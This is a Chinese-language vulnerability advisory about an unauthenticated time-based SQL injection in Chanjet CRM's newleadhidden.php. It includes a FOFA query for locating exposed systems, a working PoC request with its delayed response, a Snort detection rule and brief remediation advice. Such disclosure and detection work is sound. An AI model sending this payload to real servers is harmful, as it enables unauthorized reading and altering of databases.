

畅捷通CRM newleadhidden.php SQL注入漏洞

畅捷通CRM newleadhidden.php处存在SQL注入漏洞，未经授权攻击者可进行数据库的增删改查等一系列违规操作。

影响版本

畅捷通CRM

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: app="畅捷通-TPlus"

POC/EXP:

```
GET /lead/newleadhidden.php?gb1orgID=1+AND+(SELECT+5244+FROM+
(SELECT(SLEEP(5)))HAjH)---&DontCheckLogin=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; win64; x64; rv:128.0) Gecko/20100101
Firefox/128.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
```

发送请求

强制 HTTPS

历史

爆破示例

Request

数据包扫描美化热加载构造请求

1GET /lead/newleadhidden.php?gb10rgID=1+AND+(SELECT+5344+FROM

2+(SELECT(SLEEP(5)))HAJH)--+&DontCheckLogin=1-HTTP/1.1

3Host : 6

4User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0

5Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8

6Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

7Accept-Encoding: gzip, deflate

Responses991bytes / 5862ms

美化编码

1HTTP/1.1 200 OK

2Date: Sat, 12 Apr 2025 11:41:06 GMT

3Server: Apache/2.2.6 (Win32) PHP/5.2.10

4X-Powered-By: PHP/5.2.10

5Set-Cookie: PHPSESSID=534f2852d90346a635c122d22e49959e; path=/

6Expires: Thu, 19 Nov 1981 08:52:00 GMT

7Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

8Pragma: no-cache

9Content-Type: text/html; charset=utf-8

10Content-Length: 1176

11

12{

13 "select": [],

14 "other": {

15 "Lead.AnnualRevenue": "\u5e74\u6536\u5165",

16 "Lead.City": "\u57ce\u5e02",

17 "Lead.Company": "\u516c\u53f8",

18 "Lead.Country": "\u56fd\u5bb6",

19 "Lead.Department": "\u90e8\u95e8",

20 "Lead.Description": "\u63cf\u8ff0",

21 "Lead.DonotCall": "\u8bf7\u52ff\u81f4\u7535",

22 "Lead.Email": "\u7535\u5b50\u90ae\u4ef6",

23 "Lead.EmailOptOut": "\u8bf7\u52ff\u53d1\u9001\u90ae\u4ef6",

24 "Lead.Employees": "\u5458\u5de5",

25 "Lead.Fax": "\u4f20\u771f\u53f7\u7801",

snort规则：

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"Chanjet CRM SQL Injection in newleadhidden.php - Generic Detection";
  flow:to_server,established;
  content:"GET"; http_method;
  content:"/lead/newleadhidden.php"; http_uri;
  pcre:"/(gb10rgID|DontCheckLogin)=[^&]*?(['%27]|[\+\s])\s*
(AND|OR|UNION|SELECT|SLEEP|EXEC|XP_)\s*["']";
  metadata:service http;
  metadata:affected_product "Chanjet CRM";
  metadata:attack_type "SQL Injection";
  classtype:sql-injection;
  sid:1000022;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本